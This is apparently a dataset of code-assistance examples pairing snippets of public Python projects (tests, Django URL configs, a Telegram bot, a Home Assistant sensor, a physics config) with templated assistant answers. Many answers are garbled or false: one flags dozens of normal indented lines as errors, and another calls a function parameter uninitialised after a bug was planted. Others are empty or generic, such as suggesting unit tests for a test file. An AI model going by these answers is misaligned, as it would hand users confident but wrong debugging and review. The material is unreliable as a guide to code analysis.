InlineKeyboardButton(\"Tasdiqlash\", callback_data=\"cb_no\"))\r\n return markup\r\n\r\ndef getUserFromChannel(userId):\r\n u = bot.get_chat_member(channelId, userId)\r\n return u.status\r\n\r\n@bot.callback_query_handler(func=lambda call: True)\r\ndef callback_query(call):\r\n if call.data == \"cb_yes\":\r\n bot.answer_callback_query(call.id, \"Answer is Yes\")\r\n elif call.data == \"cb_no\":\r\n u = getUserFromChannel(call.from_user.id)\r\n if u == 'member':\r\n msg = bot.send_message(call.from_user.id, \"\"\"\\\r\n Juda soz!!!, Ismingizni yozing\r\n \"\"\")\r\n bot.register_next_step_handler(msg, process_name_step)\r\n else:\r\n bot.send_message(call.from_user.id, f\"Salom {call.from_user.first_name}, kanallarga a'zo bo'ling va A'zolikni tekshirish buyrug'ini tanlang\", reply_markup=gen_markup())\r\n\r\n\n ... [2 more functiondefs truncated] ..."}, {"role": "assistant", "content": "Refactoring suggestions:\n Extract reusable functions\n Improve naming conventions\n Add documentation"}]
| false
| null | null | null |
8687420e46b4f12f33134641d5dcf6986b995994
|
TheStack--python--000.parquet
|
Debug this Pythoncode:Python code: from rectangle2 import rectangle_area def test_unit_square(): assert rectangle_area([0, 0, 1, 1]) == 1.0 def test_large_square(): assert rectangle_area([1, 1, 4, 4]) == 9.0 def test_actual_rectangle(): assert rectangle_area([0, 1, 4, 7]) == 24.0
|
Code analysis results: No critical issues found Consider adding unit tests Add inline comments for complex logic
|
intermediate
|
testing
|
debugging
|
Pythoncode:Python
| 3
| 0
| 261
| true
|
[{"role": "user", "content": "Debug this Pythoncode:Python code:\nfrom rectangle2 import rectangle_area\n\ndef test_unit_square():\n assert rectangle_area([0, 0, 1, 1]) == 1.0\n\ndef test_large_square():\n assert rectangle_area([1, 1, 4, 4]) == 9.0\n\ndef test_actual_rectangle():\n assert rectangle_area([0, 1, 4, 7]) == 24.0"}, {"role": "assistant", "content": " Code analysis results:\n\n\n No critical issues found\n\n Consider adding unit tests\n Add inline comments for complex logic"}]
| false
| null | null | null |
86878499d4795f1de654ad30bc93467d3e84cd3c
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: # -*- coding: utf-8 -*- from unittest import TestCase, TestLoader from radio import (Radio, ListenerNotFound, ReplyHandlerAlreadyBound, def init_radio(f): def wrap(self, *args): self.radio = Radio() return f(self, *args) return wrap class TestRadioRequestReplyMethods(TestCase): @init_radio def test_request_reply_stop_replying(self): ''' "request", "reply" and "stopReplying" methods work correctly. ''' def foo_handler(): return 'foo' def bar_handler(my_arg=222): return my_arg self.radio.reply('foo', foo_handler) self.radio.reply('bar', bar_handler) self.assertEqual(self.radio.request('foo'), 'foo') self.assertEqual(self.radio.request('bar'), 222) self.assertEqual(self.radio.request('bar', 333), 333) self.assertEqual(self.radio.request('bar', my_arg=444), 444) self.radio.stopReplying('foo') self.radio.stopReplying('bar') with self.assertRaises(ListenerNotFound): self.radio.request('foo') with self.assertRaises(ListenerNotFound): ... code continues ...
|
Completion: Missing: Code truncated abruptly - unexpected end of file To complete: • Complete the truncated code structure Example continuation: self.radio.request('bar') @init_radio def test_kwargs(self): '''
|
advanced
|
testing
|
incomplete_code
|
Pythoncode:Python
| 14
| 1
| 1,114
| true
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\n# -*- coding: utf-8 -*-\n\nfrom unittest import TestCase, TestLoader\n\nfrom radio import (Radio, ListenerNotFound, ReplyHandlerAlreadyBound,\ndef init_radio(f):\n\n def wrap(self, *args):\n self.radio = Radio()\n return f(self, *args)\n\n return wrap\n\n\nclass TestRadioRequestReplyMethods(TestCase):\n\n @init_radio\n def test_request_reply_stop_replying(self):\n '''\n \"request\", \"reply\" and \"stopReplying\" methods work correctly.\n '''\n\n def foo_handler(): return 'foo'\n def bar_handler(my_arg=222): return my_arg\n\n self.radio.reply('foo', foo_handler)\n self.radio.reply('bar', bar_handler)\n self.assertEqual(self.radio.request('foo'), 'foo')\n self.assertEqual(self.radio.request('bar'), 222)\n self.assertEqual(self.radio.request('bar', 333), 333)\n self.assertEqual(self.radio.request('bar', my_arg=444), 444)\n self.radio.stopReplying('foo')\n self.radio.stopReplying('bar')\n\n with self.assertRaises(ListenerNotFound):\n self.radio.request('foo')\n with self.assertRaises(ListenerNotFound):\n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Code truncated abruptly - unexpected end of file\n\n To complete:\n \u2022 Complete the truncated code structure\n\n Example continuation:\n self.radio.request('bar')\n\n @init_radio\n def test_kwargs(self):\n '''"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
8687b3a09f22f924b0323932d63831d4c09242d4
|
TheStack--python--000.parquet
|
Complete this Pythoncode:Python code: class APIError(Exception): """ Base exception for the API app """ pass class APIResourcePatternError(APIError):
|
""" Raised when an app tries to override an existing URL regular expression pattern """ pass
|
intermediate
|
api
|
code_completion
|
Pythoncode:Python
| 0
| 2
| 244
| false
|
[{"role": "user", "content": "Complete this Pythoncode:Python code:\n\nclass APIError(Exception):\n \"\"\"\n Base exception for the API app\n \"\"\"\n pass\n\n\nclass APIResourcePatternError(APIError):"}, {"role": "assistant", "content": "\n \"\"\"\n Raised when an app tries to override an existing URL regular expression\n pattern\n \"\"\"\n pass"}]
| false
| null | null | null |
8687c290ea5275e332a8f9c623d8f42da0525b01
|
TheStack--python--000.parquet
|
Review this Pythoncode:Python code: import sys from typing import Sequence import pytest from jina import Request, QueryLang, Document from jina.clients.request import request_generator from jina.proto import jina_pb2 from jina.proto.jina_pb2 import EnvelopeProto from jina.types.message import Message from jina.types.request import _trigger_fields from tests import random_docs def test_lazy_access(field): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used # access r.train print(getattr(r, field)) # now it is read assert r.is_used def test_multiple_access(): reqs = [Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))] for r in reqs: assert not r.is_used assert r assert not r.is_used for r in reqs: assert not r.is_used assert r.index assert r.is_used def test_lazy_nest_access(): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used # write access r.train r.docs[0].id = '1' * 16 # now it is read assert r.is_used assert r.index.docs[0].id == '1' * 16 def test_lazy_change_message_type(): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used # write access r.train r.control.command = jina_pb2.RequestProto.ControlRequestProto.IDLE # now it is read assert r.is_used assert len(r.index.docs) == 0 def test_lazy_append_access(): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used r.request_type = 'index' # write access r.train r.docs.append(Document()) # now it is read assert r.is_used def test_lazy_clear_access(): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used # write access r.train r.ClearField('index') # now it is read assert r.is_used def test_lazy_nested_clear_access(): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used # write access r.train r.index.ClearField('docs') # now it is read assert r.is_used ... [6 more functiondefs truncated] ...
|
Code Review: ❌ Critical issues: Code truncated in middle of expression - unexpected EOF Invalid syntax at line 94: ... [6 more functiondefs truncated] ... ⚠️ Code quality: Unexpected indentation at line 17 Unexpected indentation at line 21 Unexpected indentation at line 24 Unexpected indentation at line 29 Unexpected indentation at line 31 Unexpected indentation at line 32 Unexpected indentation at line 36 Unexpected indentation at line 37 Unexpected indentation at line 42 Unexpected indentation at line 44 Unexpected indentation at line 45 Unexpected indentation at line 46 Unexpected indentation at line 47 Unexpected indentation at line 48 Unexpected indentation at line 53 Unexpected indentation at line 55 Unexpected indentation at line 56 Unexpected indentation at line 57 Unexpected indentation at line 58 Unexpected indentation at line 59 Unexpected indentation at line 64 Unexpected indentation at line 66 Unexpected indentation at line 67 Unexpected indentation at line 68 Unexpected indentation at line 69 Unexpected indentation at line 70 Unexpected indentation at line 75 Unexpected indentation at line 77 Unexpected indentation at line 78 Unexpected indentation at line 79 Unexpected indentation at line 80 Unexpected indentation at line 85 Unexpected indentation at line 87 Unexpected indentation at line 88 Unexpected indentation at line 89 Unexpected indentation at line 90 ✨ Improvements: Complete the expression on the last line Review syntax near the error location
|
advanced
|
testing
|
code_review
|
Pythoncode:Python
| 7
| 0
| 2,682
| true
|
[{"role": "user", "content": "Review this Pythoncode:Python code:\nimport sys\nfrom typing import Sequence\n\nimport pytest\n\nfrom jina import Request, QueryLang, Document\nfrom jina.clients.request import request_generator\nfrom jina.proto import jina_pb2\nfrom jina.proto.jina_pb2 import EnvelopeProto\nfrom jina.types.message import Message\nfrom jina.types.request import _trigger_fields\nfrom tests import random_docs\n\n\ndef test_lazy_access(field):\n reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10)))\n for r in reqs:\n assert not r.is_used\n\n # access r.train\n print(getattr(r, field))\n\n # now it is read\n assert r.is_used\n\n\ndef test_multiple_access():\n reqs = [Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))]\n for r in reqs:\n assert not r.is_used\n assert r\n assert not r.is_used\n\n for r in reqs:\n assert not r.is_used\n assert r.index\n assert r.is_used\n\n\ndef test_lazy_nest_access():\n reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10)))\n for r in reqs:\n assert not r.is_used\n # write access r.train\n r.docs[0].id = '1' * 16\n # now it is read\n assert r.is_used\n assert r.index.docs[0].id == '1' * 16\n\n\ndef test_lazy_change_message_type():\n reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10)))\n for r in reqs:\n assert not r.is_used\n # write access r.train\n r.control.command = jina_pb2.RequestProto.ControlRequestProto.IDLE\n # now it is read\n assert r.is_used\n assert len(r.index.docs) == 0\n\n\ndef test_lazy_append_access():\n reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10)))\n for r in reqs:\n assert not r.is_used\n r.request_type = 'index'\n # write access r.train\n r.docs.append(Document())\n # now it is read\n assert r.is_used\n\n\ndef test_lazy_clear_access():\n reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10)))\n for r in reqs:\n assert not r.is_used\n # write access r.train\n r.ClearField('index')\n # now it is read\n assert r.is_used\n\n\ndef test_lazy_nested_clear_access():\n reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10)))\n for r in reqs:\n assert not r.is_used\n # write access r.train\n r.index.ClearField('docs')\n # now it is read\n assert r.is_used\n\n\n\n ... [6 more functiondefs truncated] ..."}, {"role": "assistant", "content": " Code Review:\n\n\n\u274c Critical issues:\n Code truncated in middle of expression - unexpected EOF\n Invalid syntax at line 94: ... [6 more functiondefs truncated] ...\n\n\n\u26a0\ufe0f Code quality:\n Unexpected indentation at line 17\n Unexpected indentation at line 21\n Unexpected indentation at line 24\n Unexpected indentation at line 29\n Unexpected indentation at line 31\n Unexpected indentation at line 32\n Unexpected indentation at line 36\n Unexpected indentation at line 37\n Unexpected indentation at line 42\n Unexpected indentation at line 44\n Unexpected indentation at line 45\n Unexpected indentation at line 46\n Unexpected indentation at line 47\n Unexpected indentation at line 48\n Unexpected indentation at line 53\n Unexpected indentation at line 55\n Unexpected indentation at line 56\n Unexpected indentation at line 57\n Unexpected indentation at line 58\n Unexpected indentation at line 59\n Unexpected indentation at line 64\n Unexpected indentation at line 66\n Unexpected indentation at line 67\n Unexpected indentation at line 68\n Unexpected indentation at line 69\n Unexpected indentation at line 70\n Unexpected indentation at line 75\n Unexpected indentation at line 77\n Unexpected indentation at line 78\n Unexpected indentation at line 79\n Unexpected indentation at line 80\n Unexpected indentation at line 85\n Unexpected indentation at line 87\n Unexpected indentation at line 88\n Unexpected indentation at line 89\n Unexpected indentation at line 90\n\n\u2728 Improvements:\n Complete the expression on the last line\n Review syntax near the error location"}]
| false
| null | null | null |
86880b5b73b7634f999e8879e1b07c2360a00ae8
|
TheStack--python--000.parquet
|
Complete this Pythoncode:Python code: import os import sys DIR_OF_THIS_SCRIPT = os.path.abspath( os.path.dirname( __file__ ) ) def Settings( **kwargs ):
|
return { 'interpreter_path': sys.executable, 'sys_path': [ os.path.join( DIR_OF_THIS_SCRIPT, 'third_party' ) ] }
|
intermediate
|
general
|
code_completion
|
Pythoncode:Python
| 1
| 0
| 243
| true
|
[{"role": "user", "content": "Complete this Pythoncode:Python code:\nimport os\nimport sys\n\nDIR_OF_THIS_SCRIPT = os.path.abspath( os.path.dirname( __file__ ) )\n\n\ndef Settings( **kwargs ):"}, {"role": "assistant", "content": "\n return {\n 'interpreter_path': sys.executable,\n 'sys_path': [ os.path.join( DIR_OF_THIS_SCRIPT, 'third_party' ) ]\n }"}]
| false
| null | null | null |
8688ffb74b8525b0642bda0ae7e8535617771ade
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: from distutils.core import setup setup( name='utils', version='1.0.0', author='Mirco Tracolli', author_email='mirco.tracolli@pg.infn.it', packages=[ 'utils', ], scripts=[], url='https://github.com/C
|
Error Analysis: Error Type: HARD_CUT Error: SyntaxError / EOF Detected Errors: • Code truncated in middle of expression - unexpected EOF • Unterminated string literal at line 12 • Unclosed '(' at line 3 - expected ')' Fix: Complete the truncated code structure
|
intermediate
|
api
|
error_detection
|
Pythoncode:Python
| 0
| 0
| 239
| true
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\nfrom distutils.core import setup\n\nsetup(\n name='utils',\n version='1.0.0',\n author='Mirco Tracolli',\n author_email='mirco.tracolli@pg.infn.it',\n packages=[\n 'utils',\n ],\n scripts=[],\n url='https://github.com/C"}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: HARD_CUT\n Error: SyntaxError / EOF\n\n Detected Errors:\n \u2022 Code truncated in middle of expression - unexpected EOF\n \u2022 Unterminated string literal at line 12\n \u2022 Unclosed '(' at line 3 - expected ')'\n\n Fix: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
868928ba8707be83d375694167add597b520a225
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: """Support for Eight Sleep binary sensors.""" from __future__ import annotations import logging from pyeight.eight import EightSleep from homeassistant.components.binary_sensor import ( BinarySensorDeviceClass, BinarySensorEntity, ) from homeassistant.core import HomeAssistant from homeassistant.helpers.entity_platform import AddEntitiesCallback from homeassistant.helpers.typing import ConfigType, DiscoveryInfoType from homeassistant.helpers.update_coordinator import DataUpdateCoordinator from . import EightSleepBaseEntity from .const import DATA_API, DATA_HEAT, DOMAIN _LOGGER = logging.getLogger(__name__) async def async_setup_platform( hass: HomeAssistant, config: ConfigType, async_add_entities: AddEntitiesCallback, discovery_info: DiscoveryInfoType | None = None, ) -> None: """Set up the eight sleep binary sensor.""" if discovery_info is None: return eight: EightSleep = hass.data[DOMAIN][DATA_API] heat_coordinator: DataUpdateCoordinator = hass.data[DOMAIN][DATA_HEAT] entities = [] for user in eight.users.values(): entities.append( EightHeatSensor(heat_coordinator, eight, user.userid, "bed_presence") ) async_add_entities(entities) class EightHeatSensor(EightSleepBaseEntity, BinarySensorEntity): """Representation of a Eight Sleep heat-based sensor.""" _attr_device_class = BinarySensorDeviceClass.OCCUPANCY def __init__( self, coordinator: DataUpdateCoordinator, eight: EightSleep, user_id: str | None, sensor: str, ) -> None: """Initialize the sensor.""" super().__init__(coordinator, eight, user_id, sensor) assert self._user_obj _LOGGER.debug( "Presence Sensor: %s, Side: %s, User: %s", sensor, self._user_obj.side, user_id, ) @property def is_on(self) -> bool: """Return true if the binary sensor is on.""" assert self._user_obj ... code continues ...
|
Completion: Missing: Function missing return statement To complete: • Add return statement to function Example continuation:
|
advanced
|
testing
|
incomplete_code
|
Pythoncode:Python
| 2
| 1
| 2,025
| true
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\n\"\"\"Support for Eight Sleep binary sensors.\"\"\"\nfrom __future__ import annotations\n\nimport logging\n\nfrom pyeight.eight import EightSleep\n\nfrom homeassistant.components.binary_sensor import (\n BinarySensorDeviceClass,\n BinarySensorEntity,\n)\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.helpers.typing import ConfigType, DiscoveryInfoType\nfrom homeassistant.helpers.update_coordinator import DataUpdateCoordinator\n\nfrom . import EightSleepBaseEntity\nfrom .const import DATA_API, DATA_HEAT, DOMAIN\n\n_LOGGER = logging.getLogger(__name__)\n\n\nasync def async_setup_platform(\n hass: HomeAssistant,\n config: ConfigType,\n async_add_entities: AddEntitiesCallback,\n discovery_info: DiscoveryInfoType | None = None,\n) -> None:\n \"\"\"Set up the eight sleep binary sensor.\"\"\"\n if discovery_info is None:\n return\n\n eight: EightSleep = hass.data[DOMAIN][DATA_API]\n heat_coordinator: DataUpdateCoordinator = hass.data[DOMAIN][DATA_HEAT]\n\n entities = []\n for user in eight.users.values():\n entities.append(\n EightHeatSensor(heat_coordinator, eight, user.userid, \"bed_presence\")\n )\n\n async_add_entities(entities)\n\n\nclass EightHeatSensor(EightSleepBaseEntity, BinarySensorEntity):\n \"\"\"Representation of a Eight Sleep heat-based sensor.\"\"\"\n\n _attr_device_class = BinarySensorDeviceClass.OCCUPANCY\n\n def __init__(\n self,\n coordinator: DataUpdateCoordinator,\n eight: EightSleep,\n user_id: str | None,\n sensor: str,\n ) -> None:\n \"\"\"Initialize the sensor.\"\"\"\n super().__init__(coordinator, eight, user_id, sensor)\n assert self._user_obj\n _LOGGER.debug(\n \"Presence Sensor: %s, Side: %s, User: %s\",\n sensor,\n self._user_obj.side,\n user_id,\n )\n\n @property\n def is_on(self) -> bool:\n \"\"\"Return true if the binary sensor is on.\"\"\"\n assert self._user_obj\n\n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Function missing return statement\n\n To complete:\n \u2022 Add return statement to function\n\n Example continuation:"}]
| true
|
syntax
|
INCOMPLETE_LOGIC
|
MEDIUM
|
868a5177cfe7a43dcc855371fdd275a394644658
|
TheStack--python--000.parquet
|
Debug this Pythoncode:Python code: # This file is part of the CERN Indico plugins. # Copyright (C) 2014 - 2022 CERN # # The CERN Indico plugins are free software; you can redistribute # them and/or modify them under the terms of the MIT License; see # the LICENSE file for more details. from unittest.mock import MagicMock import pytest from requests.exceptions import HTTPError, Timeout from indico.testing.util import extract_logs from indico_ravem.plugin import RavemPlugin from indico_ravem.util import has_access, ravem_api_call def test_correct_http_method(mocker, method): request = mocker.patch('indico_ravem.util.requests.request') response = MagicMock() response.json.return_value = {'result': 'test'} response.raise_for_status.return_value = False request.return_value = response ravem_api_call('test_endpoint', method=method, param1='test1', param2='test2') assert request.call_count == 1 assert request.call_args[0][0] == method @pytest.mark.usefixtures('db') def test_correct_auth_method(mocker): request = mocker.patch('indico_ravem.util.requests.request') response = MagicMock() response.json.return_value = {'result': 'test'} response.raise_for_status.return_value = False request.return_value = response token = 'foo' RavemPlugin.settings.set('access_token', token) ravem_api_call('test_endpoint', param1='test1', param2='test2') assert request.call_count == 1 assert 'Authorization' in request.call_args[1]['headers'] assert request.call_args[1]['headers']['Authorization'] == 'Bearer %s' % token @pytest.mark.usefixtures('db') ... [10 more functiondefs truncated] ...
|
Code analysis results: 🔴 Errors found: Code truncated in middle of expression - unexpected EOF Invalid syntax at line 51: ... [10 more functiondefs truncated] ... ⚠️ Warnings: Unexpected indentation at line 21 Unexpected indentation at line 22 Unexpected indentation at line 23 Unexpected indentation at line 24 💡 Suggestions: Complete the expression on the last line Review syntax near the error location
|
intermediate
|
testing
|
debugging
|
Pythoncode:Python
| 2
| 0
| 1,650
| true
|
[{"role": "user", "content": "Debug this Pythoncode:Python code:\n# This file is part of the CERN Indico plugins.\n# Copyright (C) 2014 - 2022 CERN\n#\n# The CERN Indico plugins are free software; you can redistribute\n# them and/or modify them under the terms of the MIT License; see\n# the LICENSE file for more details.\n\nfrom unittest.mock import MagicMock\n\nimport pytest\nfrom requests.exceptions import HTTPError, Timeout\n\nfrom indico.testing.util import extract_logs\n\nfrom indico_ravem.plugin import RavemPlugin\nfrom indico_ravem.util import has_access, ravem_api_call\n\n\ndef test_correct_http_method(mocker, method):\n request = mocker.patch('indico_ravem.util.requests.request')\n response = MagicMock()\n response.json.return_value = {'result': 'test'}\n response.raise_for_status.return_value = False\n request.return_value = response\n\n ravem_api_call('test_endpoint', method=method, param1='test1', param2='test2')\n\n assert request.call_count == 1\n assert request.call_args[0][0] == method\n\n\n@pytest.mark.usefixtures('db')\ndef test_correct_auth_method(mocker):\n request = mocker.patch('indico_ravem.util.requests.request')\n response = MagicMock()\n response.json.return_value = {'result': 'test'}\n response.raise_for_status.return_value = False\n request.return_value = response\n\n token = 'foo'\n RavemPlugin.settings.set('access_token', token)\n ravem_api_call('test_endpoint', param1='test1', param2='test2')\n\n assert request.call_count == 1\n assert 'Authorization' in request.call_args[1]['headers']\n assert request.call_args[1]['headers']['Authorization'] == 'Bearer %s' % token\n\n\n@pytest.mark.usefixtures('db')\n\n ... [10 more functiondefs truncated] ..."}, {"role": "assistant", "content": " Code analysis results:\n\n\n\ud83d\udd34 Errors found:\n Code truncated in middle of expression - unexpected EOF\n Invalid syntax at line 51: ... [10 more functiondefs truncated] ...\n\n\n\u26a0\ufe0f Warnings:\n Unexpected indentation at line 21\n Unexpected indentation at line 22\n Unexpected indentation at line 23\n Unexpected indentation at line 24\n\n\ud83d\udca1 Suggestions:\n Complete the expression on the last line\n Review syntax near the error location"}]
| false
| null | null | null |
868c6ea160dd2c056e7da123714e1987646a86cf
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: # _*_ coding: utf-8 _*_ # --------------------------- __author__ = 'StormSha' __date__ = '2018/3/28 18:01' # --------------------------- # -------------------------django---------------------- from django.conf.urls import url from .views import OrgView, AddUserAskView, OrgHomeView, OrgCourseView, OrgDescView, OrgTeacherView, AddFavView from .views import TeacherListView, TeacherDetailView urlpatterns = [ url(r'^list/$', OrgView.as_view(), name="org_list"), url(r'^add_ask/$', AddUserAskView.as_view(), name="add_ask"), url(r'^home/(?P<org_id>\d+)/$', OrgHomeView.as_view(), name="org_home"), url(r'^course/(?P<org_id>\d+)/$', OrgCourseView.as_view(), name="org_course"), url(r'^desc/(?P<org_id>\d+)/$', OrgDescView.as_view(), name="org_desc"), url(r'^org_teacher/(?P<org_id>\d+)/$', OrgTeacherView.as_view(), name="org_teacher"), # --------------机构收藏------------------------- url(r'^add_fav/$', AddFavView.as_view(), name="add_fav"), # -----------------------teacher------------------------------ url(r'^teacher/list/$', TeacherListView.as_view(), name="teacher_list"), url(r'^teacher/detail/(?P<teacher_id>\d+)/$', TeacherDetailView.as_view(), name="teacher_detail") ]
|
Syntax Analysis:
|
intermediate
|
database
|
syntax_repair
|
Pythoncode:Python
| 0
| 0
| 1,220
| true
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\n# _*_ coding: utf-8 _*_\n# ---------------------------\n__author__ = 'StormSha'\n__date__ = '2018/3/28 18:01'\n# ---------------------------\n\n# -------------------------django----------------------\nfrom django.conf.urls import url\nfrom .views import OrgView, AddUserAskView, OrgHomeView, OrgCourseView, OrgDescView, OrgTeacherView, AddFavView\nfrom .views import TeacherListView, TeacherDetailView\n\nurlpatterns = [\n url(r'^list/$', OrgView.as_view(), name=\"org_list\"),\n url(r'^add_ask/$', AddUserAskView.as_view(), name=\"add_ask\"),\n url(r'^home/(?P<org_id>\\d+)/$', OrgHomeView.as_view(), name=\"org_home\"),\n url(r'^course/(?P<org_id>\\d+)/$', OrgCourseView.as_view(), name=\"org_course\"),\n url(r'^desc/(?P<org_id>\\d+)/$', OrgDescView.as_view(), name=\"org_desc\"),\n url(r'^org_teacher/(?P<org_id>\\d+)/$', OrgTeacherView.as_view(), name=\"org_teacher\"),\n\n # --------------\u673a\u6784\u6536\u85cf-------------------------\n url(r'^add_fav/$', AddFavView.as_view(), name=\"add_fav\"),\n # -----------------------teacher------------------------------\n url(r'^teacher/list/$', TeacherListView.as_view(), name=\"teacher_list\"),\n url(r'^teacher/detail/(?P<teacher_id>\\d+)/$', TeacherDetailView.as_view(), name=\"teacher_detail\")\n]"}, {"role": "assistant", "content": " Syntax Analysis:"}]
| true
|
syntax
|
MID_STRING
|
CRITICAL
|
868d3680b0c2bd4371570ee9b629404359f69eee
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: # -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('filer', '0009_auto_20171220_1635'), ] operations = [ migrations.AlterField( ... code continues ...
|
Completion: Missing: Code truncated abruptly - unexpected end of file To complete: • Complete the truncated code structure Example continuation: name='file_ptr', field=models.OneToOneField(primary_key=True, serialize=False, related_name='filer_image_file', parent_link=True, to='filer.File', on_delete=django.db.models.deletion.CASCADE), ), ]
|
advanced
|
machine_learning
|
incomplete_code
|
Pythoncode:Python
| 0
| 1
| 315
| true
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('filer', '0009_auto_20171220_1635'),\n ]\n\n operations = [\n migrations.AlterField(\n \n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Code truncated abruptly - unexpected end of file\n\n To complete:\n \u2022 Complete the truncated code structure\n\n Example continuation:\n name='file_ptr',\n field=models.OneToOneField(primary_key=True, serialize=False, related_name='filer_image_file', parent_link=True, to='filer.File', on_delete=django.db.models.deletion.CASCADE),\n ),\n ]"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
868dd694341f559c01703d972c3b261cb6620ffe
|
TheStack--python--000.parquet
|
Find the logical error in this Pythoncode:Python code: import FWCore.ParameterSet.Config as cms # handle normal mixing or premixing def getHcalDigitizer(process): if hasattr(process,'mixData'): return process.mixData if hasattr(process,'mix') and hasattr(process.mix,'digitizers') and hasattr(process.mix.digitizers,'hcal'): return process.mix.digitizers.hcal return None def getHGCalDigitizer(process,section): if hasattr(process,'mix') and hasattr(process.mix,'digitizers'): result = section + 1 # BUG: using before init if section == 'EE' and hasattr(process.mix.digitizers,'hgceeDigitizer'): return process.mix.digitizers.hgceeDigitizer elif section == 'FH' and hasattr(process.mix.digitizers,'hgchefrontDigitizer'): return process.mix.digitizers.hgchefrontDigitizer elif section == 'BH' and hasattr(process.mix.digitizers,'hgchebackDigitizer'): return process.mix.digitizers.hgchebackDigitizer elif section == 'HFNose' and hasattr(process.mix.digitizers,'hfnoseDigitizer'): return process.mix.digitizers.hfnoseDigitizer return None # change assumptions about lumi rate def setScenarioHLLHC(module,scenarioHLLHC): if scenarioHLLHC=="nominal": from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import _years_LHC, _years_HLLHC_nominal module.years = _years_LHC + _years_HLLHC_nominal elif scenarioHLLHC=="ultimate": from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import _years_LHC, _years_HLLHC_ultimate module.years = _years_LHC + _years_HLLHC_ultimate return module # turnon = True enables default, False disables # recalibration and darkening always together def ageHB(process,turnon,scenarioHLLHC): if turnon: from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import HBDarkeningEP process.HBDarkeningEP = HBDarkeningEP process.HBDarkeningEP = setScenarioHLLHC(process.HBDarkeningEP,scenarioHLLHC) hcaldigi = getHcalDigitizer(process) if hcaldigi is not None: hcaldigi.HBDarkening = cms.bool(turnon) if hasattr(process,'es_hardcode'): process.es_hardcode.HBRecalibration = cms.bool(turnon) return process def ageHE(process,turnon,scenarioHLLHC): if turnon: from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import HEDarkeningEP process.HEDarkeningEP = HEDarkeningEP process.HEDarkeningEP = setScenarioHLLHC(process.HEDarkeningEP,scenarioHLLHC) hcaldigi = getHcalDigitizer(process) if hcaldigi is not None: hcaldigi.HEDarkening = cms.bool(turnon) if hasattr(process,'es_hardcode'): process.es_hardcode.HERecalibration = cms.bool(turnon) return process def ageHF(process,turnon): hcaldigi = getHcalDigitizer(process) if hcaldigi is not None: hcaldigi.HFDarkening = cms.bool(turnon) if hasattr(process,'es_hardcode'): process.es_hardcode.HFRecalibration = cms.bool(turnon) return process ... [20 more functiondefs truncated] ...
|
Logical Error Analysis: Error Type: UNINITIALIZED_VAR Issue: Using variable "section" before initialization Severity: CRITICAL Location: Line 13 Explanation: Variable used before assignment - will raise NameError Fix: Initialize variable before using it
|
advanced
|
database
|
logical_errors
|
Pythoncode:Python
| 6
| 0
| 2,998
| true
|
